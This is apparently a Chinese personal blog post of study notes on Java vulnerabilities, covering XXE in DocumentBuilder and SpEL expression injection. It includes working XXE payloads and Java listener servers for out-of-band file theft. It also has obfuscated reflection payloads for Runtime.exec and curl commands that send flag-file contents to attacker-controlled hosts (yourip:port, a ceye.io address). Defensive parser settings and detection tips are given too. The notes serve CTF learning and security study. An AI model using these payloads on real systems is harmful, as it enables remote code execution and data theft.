找到了些其他师傅写的java漏洞文章,打算照着这些文章挨个看下去了,这篇博客就算个整合吧,放点有用但是又不值得单独开一章的那种
XML注入之DocumentBuilder与XXE攻击防御
参考文章:XML注入之DocumentBuilder与XXE攻击防御 Mi1k7ea ]
DocumentBuilder
DocumentBuilder是Java中常用的XML文档解析工具,是基于 DOM(Document Object Model,文档对象模型)的解析方式,把整个XML文档加载到内存并转化成DOM树,因此应用程序可以随机访问DOM树的任何数据。因此其优点是灵活性强、速度快; 缺点是消耗资源比较多。
漏洞成因
简单来说就是DocumentBuilder可以解析xml,也能解析xml的各种实体,导致的xml的注入,触发xxe漏洞
因此就可以结合xxe的一些攻击方式去进行攻击
说一下盲带
两种,一种是ftp,一种是http
先说ftp
先在本地开一个ftp服务
import java.io.IOException;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.NoSuchElementException;
import java.util.Scanner;
public class LocalFtpServer {
private static final int PORT = 2121;
private static final String RETR = "RETR";
private static final String CWD = "CWD";
private static final String TYPE = "TYPE";
private static final String JUNK1 = "EPSV";
private static final String JUNK2 = "EPRT";
private static final String LIST = "LIST";
public static void main(String[] args) throws IOException {
ServerSocket socket = new ServerSocket(PORT);
while (true) {
Socket client = socket.accept();
new Thread(new Runnable() {
@Override
public void run() {
StringBuilder sb = new StringBuilder();
boolean startRecord = false;
try {
PrintWriter remoteSender = new PrintWriter(client.getOutputStream(), true);
Scanner remoteReader = new Scanner(client.getInputStream(), "UTF-8");
// FTP 的命令一般是 \r\n 作为一行的结束
remoteReader.useDelimiter("\r\n");
remoteSender.println("220 xxe-ftp-server");
while (true) {
String line = remoteReader.nextLine();
System.out.println("> " + line);
if (line.startsWith("USER")) {
remoteSender.println("331 password please - version check");
} else {
remoteSender.println("230 more data please!");
}
if (!startRecord) {
if (line.startsWith(TYPE))
startRecord = true;
} else {
if (line.startsWith(RETR)) {
sb.append('/').append(line.replace("RETR ", ""));
client.setSoTimeout(3000);
String tail = remoteReader.nextLine();
System.out.println("> " + tail);
sb.append('\n').append(tail);
break;
} else if (line.startsWith(JUNK1) || line.startsWith(JUNK2)) {
// nothing
} else if (line.startsWith(CWD)) {
sb.append('/').append(line.replace("RETR ", "").replace("CWD ", ""));
} else if (line.startsWith(LIST)) {
sb.append('/');
break;
} else {
sb.append('\n').append(line.replace("RETR ", ""));
}
}
}
client.close();
} catch (NoSuchElementException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
// 为了兼容 CWD ,开头多补充了一个斜杠
System.out.println("=====File Content=====");
String fileContent;
fileContent = sb.substring(1);
System.out.println(fileContent);
System.out.println("=====File Content=====");
}
}).start();
}
}
}
存在xxe漏洞的代码
public class LocalEntityDemo {
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException, org.xml.sax.SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(new File("src/main/resources/user.xml"));
// NodeList nodes = doc.getChildNodes();
// for (int i = 0; i < nodes.getLength(); i++) {
// if (nodes.item(i).getNodeType() == Node.ELEMENT_NODE) {
// System.out.println(nodes.item(i).getTextContent());
// }
// }
}
}
user.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/passwd.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">
需要低版本的jdk,至少要小于8u161
否则会直接因为不合法的ftp命令导致报错
也就不能读取全部的信息了
然后是http的,这个只能读一行,多了就寄给你看
httpserver
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.spi.HttpServerProvider;
import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
public class LocalHttpServer {
public static void main(String[] args) throws IOException {
HttpServerProvider provider = HttpServerProvider.provider();
HttpServer httpserver = provider.createHttpServer(new InetSocketAddress(1234), 100);
httpserver.createContext("/", new MyResponseHandler());
httpserver.setExecutor(null);
httpserver.start();
System.out.println("server started");
}
public static class MyResponseHandler implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) throws IOException {
System.out.println("Receive Request Start");
String requestMethod = httpExchange.getRequestMethod();
if (requestMethod.equalsIgnoreCase("GET")) {
System.out.println(URLDecoder.decode(httpExchange.getRequestURI().toString(), "UTF-8"));
String response = "";
httpExchange.sendResponseHeaders(HttpURLConnection.HTTP_OK, response.getBytes(StandardCharsets.UTF_8).length);
OutputStream responseBody = httpExchange.getResponseBody();
OutputStreamWriter writer = new OutputStreamWriter(responseBody, StandardCharsets.UTF_8);
writer.write(response);
writer.close();
responseBody.close();
}
System.out.println("Receive Request End");
}
}
}
test.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1:1234/%file;'>">
其他的不改也行
多一行就去世
其他
还有什么SAXBuilder的xxe,SAXParser的xxe,SAXReader的xxe
感觉都差不多
防御
- 如果disallow-doctype-decl设置为true,无法Bypass;
- 如果external-general-entities设置为false,则只能解析内部实体而无法解析外部实体,此时能利用的只有XXE DoS攻击,但要看具体的JDK版本;
- 如果external-parameter-entities设置为false,则解析内部实体、外部普通实体而无法解析外部参数实体,此时可以进行外部普通实体的形式来攻击或者XXE DoS;
- 如果load-external-dtd设置为false,则解析内部实体、外部参数实体而无法解析外部普通实体,此时可以进行外部参数实体的形式来攻击或者XXE DoS;
SpEL注入漏洞
参考文章:Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)
SpEL
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
SpEL语言,可以用于Spring Framework中的表达式语言,通常用于在运行时计算值,它支持访问和操作对象的属性,方法调用,操作符,条件等。下面是每行的具体作用:
SpEL使用方式
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
//构造一个解析器
ExpressionParser parser = new SpelExpressionParser();
//解析器解析字符串表达式
Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
//构造上下文,可以不写,默认存在。但是默认的实例不会包含任何自定义的变量或函数。因此,如果表达式需要引用自定义的变量或函数,还是需要定义的。(这里的自定义变量和函数是指例如#root和#this变量,以及一些基本的函数,如toString()和getClass()函数,而不是在前边自己定义的字符串
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//通过 Expression 接口的 getValue 方法根据上下文获得表达式值
System.out.println(expression.getValue(context));
使用”T(Type)”来表示 java.lang.Class 实例,”Type”必须是类全限定名,”java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。
所以可以借这个方式来调用exec
检测方法
全局搜索org.springframework.expression.spel.standard
或expression.getValue()
、expression.setValue()
,再分析代码中传入的参数是否可控。
利用
正常Windows本地利用反射方式弹计算器
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String[].class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")), (Object) new String[]{"cmd","/C","calc"});
(原博客这里getMethod的参数是String.class,后面还穿了个字符数组类型的,怎么可能跑起来啊
使用spEL的方式
主要就是加个T()
正常就是:
T(java.lang.Runtime).getRuntime().exec('curl yourip:port/?c=`cat flag`')
还可以用的StreamUtils包的copy()方法实现输入输出流来构造回显exp即可。
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('cat flag.txt').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())
这个StreamUtils包是spring里的,如果maven的pom.xml里导入了
org.springframework.boot spring-boot-starter-web 或者导入了
org.springframework spring-core 5.3.9 并且还有
org.springframework spring-web 5.3.1 就可以试试去利用这个包整点有回显的文件读取
如果有过滤可以试试反射的方式
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.lang.reflect.InvocationTargetException;
public class calc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
//创建一个SpEL表达式解析器。
ExpressionParser parser = new SpelExpressionParser();
String test = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}";
//创建一个模板解析上下文。不传入的话会有默认的解析器,但是只支持一些基本的表达式,比如简单的算术运算、字符串操作、逻辑运算等等
ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(test,parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
exp.getValue(evaluationContext).toString();
}
}
然后这里还有几种其他的方式Javaweb安全——表达式注入(EL+SpEL)_Arnoldqqq的博客-CSDN博客
这里其实有个例题是p牛的javacon,但是我不想做(
看上面的参考文章吧,顺便说一下看wp得到的一个curl外带的技巧
curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`
把带出来的东西base64编码,然后用tr把换行替换成-,解决了curl外带只能带一行的问题